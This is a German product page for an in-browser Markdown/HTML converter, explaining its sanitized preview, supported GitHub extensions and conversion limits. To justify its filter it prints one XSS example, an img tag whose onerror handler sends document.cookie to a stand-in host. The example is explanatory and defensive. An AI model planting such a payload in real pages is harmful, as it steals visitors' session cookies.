Markdown in HTML umwandeln – mit gesäuberter Vorschau
Links Markdown einfügen, rechts sofort das fertige HTML samt Live-Vorschau: Überschriften, Listen, Links, Codeblöcke und GitHub-Tabellen. Die Vorschau geht immer durch einen XSS-Filter, bevor sie auf der Seite landet. Der Rückweg wandelt HTML in Markdown, etwa um eine Webseite als Notiz zu sichern. Alles läuft in deinem Browser, ohne Upload.
Warum braucht eine Markdown-Vorschau einen Filter?
Weil Markdown eingebettetes HTML absichtlich erlaubt. Die CommonMark-Spezifikation beschreibt HTML-Blöcke als regulären Teil der Syntax – wer Markdown schreibt, darf mitten im Text ein <div>, ein <img> oder eben ein <script> unterbringen. Genau das macht die naive Vorschau gefährlich: Ein Dokument aus einer fremden Quelle kann so aussehen:
Ganz harmloser Text.
<img src="x" onerror="fetch('https://fremd.example/?c='+document.cookie)">
Ungefiltert gerendert würde dieser Code im Browser laufen. Deshalb schickt dieses Werkzeug das erzeugte HTML durch DOMPurify, bevor auch nur ein Zeichen im Dokument landet, und zeigt an, wie viele Elemente dabei entfernt wurden. Für die kopierbare Ausgabe ist der Filter voreingestellt, lässt sich aber bewusst abschalten, wenn du der Quelle vertraust.
Welche Markdown-Erweiterungen sind dabei?
Grundlage ist CommonMark, dazu die GitHub-Erweiterungen: Tabellen, Durchgestrichenes, Aufgabenlisten und automatische Links. Optional wird aus jedem einfachen Zeilenumbruch ein <br> – so verhalten sich viele Chat- und Ticket-Systeme, das reine Markdown dagegen nicht.
Nicht dabei sind Fußnoten, Front Matter, Hinweisboxen und Wiki-Links im Obsidian-Stil. Die gehören zu einzelnen Werkzeugen, nicht zum gemeinsamen Kern – wir bauen sie lieber gar nicht ein, als sie halb zu unterstützen.
Warum entstehen aus HTML-Tabellen keine Markdown-Tabellen?
Das ist die bekannteste Grenze des Rückwegs. Der HTML-nach-Markdown-Wandler kann Pipe-Tabellen nur mit einem zusätzlichen Plugin erzeugen, das hier nicht mitgeliefert wird. Ohne dieses Plugin würde aus
<table><tr><td>Berlin</td><td>10115</td></tr></table>
schlicht Berlin10115 – die Struktur wäre weg. Deshalb bleibt eine Tabelle standardmäßig als HTML-Block stehen. Das ist gültiges Markdown, GitHub und die meisten Editoren stellen es korrekt dar. Wer lieber reinen Text will, schaltet in den Optionen auf Abflachen um. Wir sagen das lieber laut, als es stillschweigend zu verschlucken.
Was der Rückweg sonst noch tut
- Überschriften werden im
#-Stil geschrieben (nicht mit Unterstrichen) - Codeblöcke bekommen drei Backticks statt Einrückung
- Listen nutzen
-als Punkt <script>,<style>und<noscript>fallen komplett weg, statt als Text im Markdown zu landen
Ehrliche Grenzen
Die Vorschau zeigt HTML mit den Stilen dieser Seite, nicht mit denen deines Zielsystems – GitHub, ein Blog oder ein Wiki sehen anders aus. Sehr lange Texte (ab etwa 500.000 Zeichen) lehnt das Werkzeug ab, damit der Tab bedienbar bleibt. Und der Rückweg HTML → Markdown ist naturgemäß verlustbehaftet: Alles, wofür Markdown keine Schreibweise kennt, wird entweder HTML-Block oder Text.